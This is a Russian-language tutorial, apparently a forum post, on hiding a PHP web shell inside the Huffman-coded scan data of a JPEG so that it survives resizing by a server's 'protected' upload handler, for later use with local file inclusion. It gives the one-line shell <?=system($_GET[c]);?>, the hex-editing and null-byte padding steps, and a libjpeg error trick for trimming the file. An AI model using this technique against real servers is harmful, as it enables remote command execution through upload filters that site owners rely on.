В 2012 году была опубликована интересная работа по встраиванию произвольного кода в PNG IDAT chunks, что позволяет сохранить необходимые данные после ресайза и ресемплирования для последующего использования при ошибках конфигурации и LFI. Но, не смотря на очень сильное ограничение на сохранение финальной картинки в PNG, никаких аналогичных работ по другим форматам никто не опубликовал.
https://www.idontplaydarts.com/2012/...g-idat-chunks/
Повторим то же самое для JPG.
Порядок обработки RGB-данных при сохранении в JPG (JFIF)
(рассматриваем самый "популярный" вариант, на каждом шаге может быть десяток других вариаций описанный действий):
1) Преобразования RGB->YCbCr (другая цветовая модель, Y - яркость, Cb Cr - цветовые компоненты)
2) Прореживание каждых 2x2 блоков по схеме "4:2:0". Цветовые компоненты усредняются для 4 пикселей и сохраняется вместо 12 значений (4 Y, 4 Cb, 4 Cr) - 6 значений (4 Y, 1 Cb, 1 Cr)
3) Для каждого блока 8x8 пикселей считается дискретное косинусное преобразование (если представить его в виде картинки, то наиболее значимые данные для обратного преобразования скапливаются в левом верхнем углу и чем дальше к правому нижнему, тем данные менее значимы)
4) Полученное преобразование квантуется по таблицам квантования (Наиболее значимые части сохраняются наиболее точно, наименее значимые наоборот. Таблицы квантования, насколько я понимаю, могут быть использованы любые, но реально используются предложенные создателями формата изображения, которые были просчитаны экспериментальным путем. От данного квантования зависит степень качества изображения - от 1 до 100)
5) Далее эти данные запаковываются кодом Хаффмана (Опять же по предопределенным таблицам)
После чего получается бинарная строка, которая добивается единицами до конца байта.
В итоге получаются следующие важные части в JPG
1) Заголовок с информацией о размерах и тп
2) 2 таблицы квантования
3) 4 таблицы Хаффмана
4) Кодированные данные изображения (именно сюда мы будем встраивать данные)
Более наглядно можно поиграться с JPG используя
1)
JPEGSnoop http://www.impulseadventure.com/photo/jpeg-snoop.html
2)
http://www.impulseadventure.com/phot...an-coding.html
И другие статьи с этого сайта.
Наиболее простым/кустарным/убогим алгоритмом "ручного" встраивания PHP-кода в кодированные данные изображения будет следующим
1) Формируем PHP-мини шелл, который корректно декодируется с использованием таблиц Хаффмана
2) Встраиваем его в начало данных изображения
3) Дополняем код корректной битовой последовательностью (для простоты это будет ~100 нулл-байтов) до необходимого количества MCU (JPEG Minimum Coded Unit, в случае схемы 4:2:0 это кодированное представление 6 значений 4 Y, 1 Cb, 1 Cr)
4) Открываем в PHP данное изображение и смотрим в ошибке, сколько лишних байт получилось, и отрезаем их
При таком алгоритме нужно соблюсти условия: качество и размер итогового изображения должны быть равны исходному.
Для этого можно просто пропустить произвольное изображение через функцию "защищенной" загрузки файлов и скачать себе обработанное изображение.
А теперь тоже самое, только в картинках
1) Для примера я взял мини-шелл
PHP код:
<?=system($_GET[c]);?>
И картинку
2) Открываем в Hex редакторе jpg и находим начало кодированных данных изображения (если это изображение обработано php, то нужный нам блок идет последним)
3) Вставляем в начало свой PHP-код и нулл-байты с запасом (кодированные данные читаются вплоть до маркера конца изображения, так что о длине можно не беспокоиться)
4) Открываем получившееся изображение в JPEGSnoop и проверяем в секциях
Код:
*** Marker: SOS (Start of Scan) (xFFDA) ***
*** Decoding SCAN Data ***
Нет никаких ошибок выделенных красным цветом (если они есть, то либо не хватило вставленных нулл-байтов, либо во встроенном коде образовались битовые последовательности, которые не соответствуют коду Хаффмана)
5) Открываем данное изображение в PHP
PHP код:
<?php
imagecreatefromjpeg('jpeg_begin.jpg');
?>
Так как мы вставляли нулл-байты с запасом, libjpeg ругнется и скажет, сколько байт лишних:
Код:
Warning: imagecreatefromjpeg(): gd-jpeg, libjpeg: recoverable error:
Corrupt JPEG data: 2 extraneous bytes before marker 0xd9
Удаляем два последних байта перед маркером 0xffd9 и сохраняем изображение.
После чего можно снова заливать его в "защищенную" загрузку файлов с ресайзом и проверять, что код никуда не исчез.